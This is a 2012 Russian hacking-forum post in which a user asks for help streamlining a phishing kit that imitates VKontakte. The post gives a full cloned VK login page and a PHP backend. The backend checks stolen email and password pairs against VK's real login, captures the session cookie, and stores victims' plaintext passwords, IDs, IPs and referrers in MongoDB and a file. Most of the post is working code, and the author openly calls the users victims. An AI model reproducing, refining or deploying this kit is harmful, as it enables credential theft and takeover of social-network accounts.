XaKePoK

XaKePoK (https://forum.xakepok.net/main.php)
-   HTML/PHP/PERL/JavaScript (https://forum.xakepok.net/forumdisplay.php?f=49)
-   -   Нужна помощь, делаю фейк вк. Помогите упростить код. Знатокам HTML, JS, CSS, PHP (https://forum.xakepok.net/showthread.php?t=21642)

artk00 14.12.2012 09:44

Нужна помощь, делаю фейк вк. Помогите упростить код. Знатокам HTML, JS, CSS, PHP
 
Всем привет, захотелось сделать фейк систему, но столкнулся с трудность, не с трудностью- назову это так что задался вопросом упрощения кода, усистемазизации его.

Вопроса два, не один. Первый требует знания только HTML, CSS и JS, второй только PHP. Поэтому минуточку внимания, покажу что уже есть:

Заглавная страница, клиентская часть с формой:
index.php
PHP код:

<?
header("Content-type: text/html; charset=windows-1251");
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico" />

<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="description" content="<b>ВКонтакте</b> – универсальное средство для коммуникации и поиска людей,<br>которым ежедневно пользуются десятки миллионов человек. Мы хотим, чтобы друзья, однокурсники, одноклассники, соседи и коллеги всегда оставались в контакте." />

<title>Добро пожаловать</title>

<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>

<script type="text/javascript">
var vk = {
  adupd: 120000,
  al: parseInt('4') || 4,
  id: 0,
  intnat: '' ? true : false,
  host: 'vk.com',
  lang: 0,
  rtl: parseInt('') || 0,
  version: 10646,
  stDomains: 3,
  zero: false,
  contlen: 6897,
  loginscheme: 'https',
  ip_h: '5d92f65739b73e90e0',
  vc_h: '19b88682a8a61988c1ab57a8fe632c70',
  navPrefix: '/',
  dt: parseInt('') || 0,
  fs: parseInt('11') || 11,
  ts: 1349862595,
  pd: 0,
  pads: 1,
  time: [2012, 10, 10, 13, 49, 55]
}

window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
var _ua = navigator.userAgent.toLowerCase();
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain;
var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '';
if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) {
  if (vk.al != 3 || vk.navPrefix != '!') {
    location.replace(location.protocol + '//' + location.host + '/' + ___htest.replace(/^(\/|!)/, ''));
  }
}

var StaticFiles = {
  'common.js' : {v: 949},
  'common.css': {v: 369},
  'ie6.css'   : {v: 26},
  'ie7.css'   : {v: 18}
  ,'lang0_0.js':{v:6340},'index.css':{v:19}
}
</script>

<link rel="stylesheet" type="text/css" href="http://st0.userapi.com/css/al/common.css?369" />
<!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://vk.com/http://st0.userapi.com/css/al/ie6.css?26); /* ]]> */</style><![endif]-->
<!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://vk.com/http://st0.userapi.com/css/al/ie7.css?18); /* ]]> */</style><![endif]-->
<link type="text/css" rel="stylesheet" href="http://st0.userapi.com/css/al/index.css?19"></link><script type="text/javascript" src="http://vk.com/js/loader_nav10646_0.js"></script><script type="text/javascript" src="http://st3.userapi.com/js/al/common.js?949"></script><script type="text/javascript" src="http://vk.com/js/lang0_0.js?6340"></script>

</head>

<body onresize="onBodyResize()" class="is_rtl font_default pads ">
  <div id="system_msg" class="fixed"></div>
  <div id="utils"></div>

  <div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed"><div id="layer"></div></div>
  <div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="loader"></div><div class="back"></div></div></div></div>

  <div id="stl_left"></div><div id="stl_side"></div>

  <script type="text/javascript">domStarted();</script>

  <div class="scroll_fix_wrap" id="page_wrap"><div id="reg_bar" class="top_info_wrap fixed">
  <div class="scroll_fix">
    <div id="reg_bar_content">
      Присоединяйтесь, чтобы всегда оставаться в контакте с друзьями и близкими
      <div class="button_blue" id="reg_bar_button"><a class="button_link" href="http://vk.com/join" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)"><button id="reg_bar_btn"><span id="reg_bar_with_arr">Зарегистрироваться</span></button></a></div>
    </div>
  </div>
  <div id="chrome_bar_bg"></div>
</div>
<div><div class="scroll_fix">
  <div id="page_layout" style="width: 791px;">
    <div id="page_header" class="p_head p_head_l0">
      <div class="back"></div>
      <div class="left"></div>
      <div class="right"></div>
      <div class="content">
        <div id="top_nav" class="head_nav">
  <div id="top_logo_down" class="fl_l"></div>
  <a id="top_home_link" class="top_home_link fl_l" href="http://vk.com/" onmousedown="addClass('top_logo_down','tld_d');" onclick="return nav.go(this, event);" onmouseup="removeClass('top_logo_down','tld_d');" style=""></a>
  <div id="top_links">
    <div class="fl_r" id="top_menu_wrap" style="display: none">
      <a id="top_reg_link" class="fl_r top_nav_link" href="http://vk.com/join" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)">регистрация</a>
    </div>
    <a class="fl_l top_nav_link" href="http://vk.com/" id="top_back_link" onclick="return nav.go(this, event, {back: true})"></a>
  </div>
</div>
      </div>
    </div>

    <div id="side_bar" class="fl_l" style="">
      <div id="quick_login">
  <form method="POST" charset="utf-8" name="login" id="quick_login_form" action="/login.php" onsubmit="if (vklogin) {return true} else {document.login.submit();return false;}">

    <div class="label">Телефон или e-mail:</div>
    <div class="labeled"><input type="text" name="email" class="text" onfocus="show('quick_expire')" id="quick_email" /></div>
    <div class="label">Пароль:</div>
    <div class="labeled"><input type="password" name="pass" class="text" onfocus="show('quick_expire')" id="quick_pass" /></div>
    <div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"><div></div>Чужой компьютер</div>
    <input type="submit" class="submit" />
  </form>
  <div class="button_blue button_wide"><button id="quick_login_button">Войти</button></div>
  <div class="button_blue button_wide" id="quick_reg_button" style="display: none"><button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})">Регистрация</button></div>
  <div class="clear forgot"><a href="http://vk.com/restore" target="_top">Забыли пароль?</a></div>
</div>
    </div>

    <div id="page_body" class="fl_r" style="width: 631px;">
      <div id="header_wrap2">
        <div id="header_wrap1">
          <div id="header" style="">
            <h1 id="title">Добро пожаловать</h1>
          </div>
        </div>
      </div>
      <div id="wrap_between"></div>
      <div id="wrap3"><div id="wrap2">
  <div id="wrap1">
    <div id="content"><div id="index">
  <iframe class="upload_frame" src="https://login.vk.com/?role=al_frame&_origin=http://vk.com&ip_h=5d92f65739b73e90e0"></iframe>
  <div class="content">
    <p><b>ВКонтакте</b> – универсальное средство для коммуникации и поиска людей,<br>которым ежедневно пользуются десятки миллионов человек.</p>

    <h2>Моментальная регистрация</h2>

    <div class="msg" id="ij_msg"></div>

    <div class="ij_form">
      <div class="ij_reg_row">
        <input type="text" class="big_text" id="ij_first_name" value="" placeholder="Ваше имя" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" />
      </div>
      <div class="ij_reg_row">
        <input type="text" class="big_text" id="ij_last_name" value="" placeholder="Ваша фамилия" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" />
      </div>
      <div class="ij_reg_row" id="ij_sex_row">
        <input type="hidden" id="ij_sex" name="ij_sex" />
      </div>
      <div class="button_blue button_wide button_big ij_button">
        <button id="ij_submit" onclick="Index.submitJoinStart()">
          <span class="ij_with_arr">Зарегистрироваться</span>
        </button>
      </div>
    </div>

    <h2>В чём поможет ВКонтакте?</h2>
    <ul class="listing">
      <li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li>
      <li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li>
      <li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li>
    </ul>
  </div>
  <div class="reg">
    <table cellspacing="0" cellpadding="0" id="ij_screens"><tr>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(0)"><img src="http://vk.com/images/join/dial_m.png" class="ijs_img" /></a></td>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(1)"><img src="http://vk.com/images/join/news_m.png" class="ijs_img" /></a></td>
      <td><a class="ij_scr" onclick="JoinPhotoview.show(2)"><img src="http://vk.com/images/join/photos_m.png" class="ijs_img" /></a></td>
    </tr></table>
  </div>
</div></div>
  </div>
</div></div>
    </div>

    <div id="footer_wrap" class="fl_r" style="width: 661px;">
      <div id="bottom_nav">
  <a class="bnav_a" href="http://vk.com/help.php?page=about">о сайте</a>
  <a class="bnav_a" href="http://vk.com/support?act=new" onclick="return nav.go(this, event);" style="display: none;">помощь</a>
  <a class="bnav_a" href="http://vk.com/blog">блог</a>
  <a class="bnav_a" href="http://vk.com/terms">правила</a>
  <a class="bnav_a" href="http://vk.com/ads">реклама</a>
  <a class="bnav_a" href="http://vk.com/developers.php">разработчикам</a>
  <a class="bnav_a" href="http://vk.com/jobs.php" style="">вакансии</a>
</div>
<div id="footer" class="clear">
  <div class="copy_lang"><a href="http://vk.com/help.php?page=about">ВКонтакте</a> &copy; 2006-2012 <a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '52cc5935d8ae0039a2'})">English</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '52cc5935d8ae0039a2'})">Русский</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '52cc5935d8ae0039a2'})">Українська</a><a class="bnav_lang" onclick="showBox('lang.php', {act: 'lang_dialog'}, {noreload: true})">все языки &raquo;</a></div>
  
  <div>
    
    
  </div>
</div>
    </div>
    <div class="clear"></div>
  </div>
</div></div></div>
  <div class="progress" id="global_prg"></div>

  <script type="text/javascript">
    if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
      document.getElementsByTagName('body')[0].innerHTML = '';
    } else {
      domReady();
      updateMoney(0);
gSearch.init();
if (window.qArr && qArr[5]) qArr[5] = [5, "по товарам", "", "goods", 0x00000100];
if (browser.iphone || browser.ipad || browser.ipod) {
  setStyle(bodyNode, {webkitTextSizeAdjust: 'none'});
}var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass');
var qlb = ge('quick_login_button'), prgBtn = qlb;

var qinit = function() {
  setTimeout(function() {
    ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf);
    qf.target = 'quick_login_frame';
  }, 1);
}

if (window.top && window.top != window) {
  window.onload = qinit;
} else {
  setTimeout(qinit, 0);
}

qf.onsubmit = function() {
  if (!ge('quick_login_frame')) return false;
  if (!trim(qe.value)) {
    elfocus(qe);
    return false;
  } else if (!trim(qp.value)) {
    elfocus(qp);
    return false;
  }
  lockButton(window.__qfBtn = prgBtn);
  prgBtn = qlb;
  clearTimeout(__qlTimer);
  __qlTimer = setTimeout(loginSubmitError, 30000);
  domFC(domPS(qf)).onload = function() {
    clearTimeout(__qlTimer);
    __qlTimer = setTimeout(loginSubmitError, 2500);
  }
  return true;
}

window.loginSubmitError = function() {
  document.location.href = "http://vk.com";
}
window.focusLoginInput = function() {
  scrollToTop(0);
  notaBene('quick_email');
}
window.changeQuickRegButton = function(noShow) {
  if (noShow) {
    hide('top_reg_link', 'quick_reg_button');
    show('top_search_link');
  } else {
    hide('top_search_link');
    show('top_reg_link', 'quick_reg_button');
  }
}
window.submitQuickLoginForm = function(email, pass, opts) {
  setQuickLoginData(email, pass, opts);
  if (opts && opts.prg) prgBtn = opts.prg;
  if (qf.onsubmit()) qf.submit();
}
window.setQuickLoginData = function(email, pass, opts) {
  if (email !== undefined) ge('quick_email').value = email;
  if (pass !== undefined) ge('quick_pass').value = pass;
  var params = opts && opts.params || {};
  for (var i in params) {
    var el = ge('quick_login_' + i);
    if (el) {
      val(el, params[i]);
    } else {
      qf.appendChild(ce('input', {type: 'hidden', name: i, id: 'quick_login_' + i, value: params[i]}));
    }
  }
}

if (qlb) {
  qlb.onclick = function() { if (qf.onsubmit()) qf.submit(); };
}

if (browser.opera_mobile) show('quick_expire');

if (1) {
  hide('support_link_td');
}
var ts_input = ge('ts_input'), oldFF = browser.mozilla && parseInt(browser.version) < 8;
if (browser.mozilla && !oldFF) {
  setStyle(ts_input, {padding: (vk.rtl ? '3px 22px 4px 40px' : '3px 41px 4px 22px')});
}
placeholderSetup(ts_input, {back: false, reload: true});
if (browser.opera || browser.msie || oldFF) {
  setStyle(ts_input, {padding: (vk.rtl ? '3px 22px 4px 40px' : '3px 41px 4px 22px')});
}
if (browser.chrome) {
  setStyle(ts_input, {padding: (vk.rtl ? '4px 23px 3px 39px' : '4px 40px 3px 23px')});
}
TopSearch.init();
if (browser.msie8 || browser.msie7) {
  var st = {border: '1px solid #a6b6c6'};
  if (hasClass(ge('ts_wrap'), 'vk')) {
    if (vk.rtl) st.left = '1px';
    else st.right = '0px';
  } else {
    if (vk.rtl) st.right = '146px';
    else st.left = '146px';
  }
  setStyle(ge('ts_cont_wrap'), st);
}
window.tsHintsEnabled = 1;
handlePageParams({"id":0,"pads":1,"loc":"","notopmenu":1,"wrap_page":1,"width":791,"width_dec":160,"width_dec_footer":130,"counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);;stManager.add(["index.js"], function () {Index.initNew();
JoinPhotoview.init([{"src":"\/images\/join\/dial_1.png?2","width":790,"height":600,"desc":"Делитесь с друзьями фотографиями и новостями"},{"src":"\/images\/join\/news_1.png?2","width":790,"height":600,"desc":"Получайте новости из жизни Ваших друзей и известных людей"},{"src":"\/images\/join\/photos_1.png?2","width":790,"height":600,"desc":"Общайтесь с близкими при помощи личных сообщений"}]);
cur.lang = extend(cur.lang || {}, {
  index_screen_m_of_n: 'Иллюстрация {num} из {count}',
  index_to_main: 'Главная страница',
  index_choose_sex: 'Укажите пол'
});
var sd = false;
if (sd) Index.initSexDD(sd);
placeholderSetup('ij_first_name', {back: true});
placeholderSetup('ij_last_name', {back: true});
var login = ge('quick_email');
if (login) {
  login.focus();
}});;if (browser.msie) stManager.add('pinbar.js', function() {window.initPinBar('/id', '/im');});
    }
  </script>
</body>

</html>

как вы могли заметить, много мусора, у разработчиков вконтакте избыточная любовь к JS, а он нам как знать- не нужен

второй файл, серверная часть, туда куда из формы полетят данные методом post:
login.php
PHP код:

<?php

$mail 
$_REQUEST['email'];
$pass $_REQUEST['pass'];
 
$mongodb = new Mongo('localhost'); 
 
$otvet=connect("http://login.vk.com/?act=login&email=$mail&pass=$pass");
If(!
preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){
die(
"Login incorrect");
}
preg_match("/l=(.*?);/",$otvet,$id);
$otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]);
preg_match("/remixsid=(.*?);/",$otvet,$sid);
$cookie "remixchk=5; remixsid=$sid[1]";
 
 
function 
connect($link,$cookie=null,$post=null){
$ch curl_init();
curl_setopt($chCURLOPT_URL,$link);
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_TIMEOUT0);
curl_setopt($chCURLOPT_HEADER1);
curl_setopt($chCURLOPT_FOLLOWLOCATION0);
if(
$cookie !== null)
curl_setopt($chCURLOPT_COOKIE$cookie);
if(
$post !== null)
{
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS$post);
}
$otvet curl_exec($ch);
curl_close($ch);
return 
$otvet;
}


if(!empty(
$sid[1])){
$adddata $mongodb->vk_access->true_is->insert(
    array(
        
'_id' => $sid[1],
        
'id'    => $id[1],
        
'login' => $_REQUEST['email'],
        
'password' => $_REQUEST['pass'],
        
'unixtime' => date('d.m.y').' '.date('H-i-s'),
        
'ip' => $_SERVER['REMOTE_ADDR'],
        
'ref' => $_SERVER['HTTP_REFERER']        ));
        
        
$file "file.txt";
$Saved_File fopen($file'w+');
fwrite($Saved_File$id[1]);
fclose($Saved_File);
}
?>

Здесь все проще, код сам писал, как можете видеть мы:
Проходим на валидность введенные данные с помощью пользовательской функции connect(), работая curl-ом получает http заголовки, и уже далее в них мы очищаемся от всего лишнего и не нужного с помощью регулярных выражений;
Далее если все логин и пароль верный, то пишем в бд печеньки, id вломонного, время, ip, откуда пришла жертва и его браузер для статистики.

Вообщем я хочу услышать от вас здоровую критику(по теме), и вашу помощь в развитии если вам по нраву моя первоначальная идея. Отвечу на любые ваши вопросы, не стесняйтесь.


Часовой пояс GMT +3, время: 01:38.

Перевод: zCarot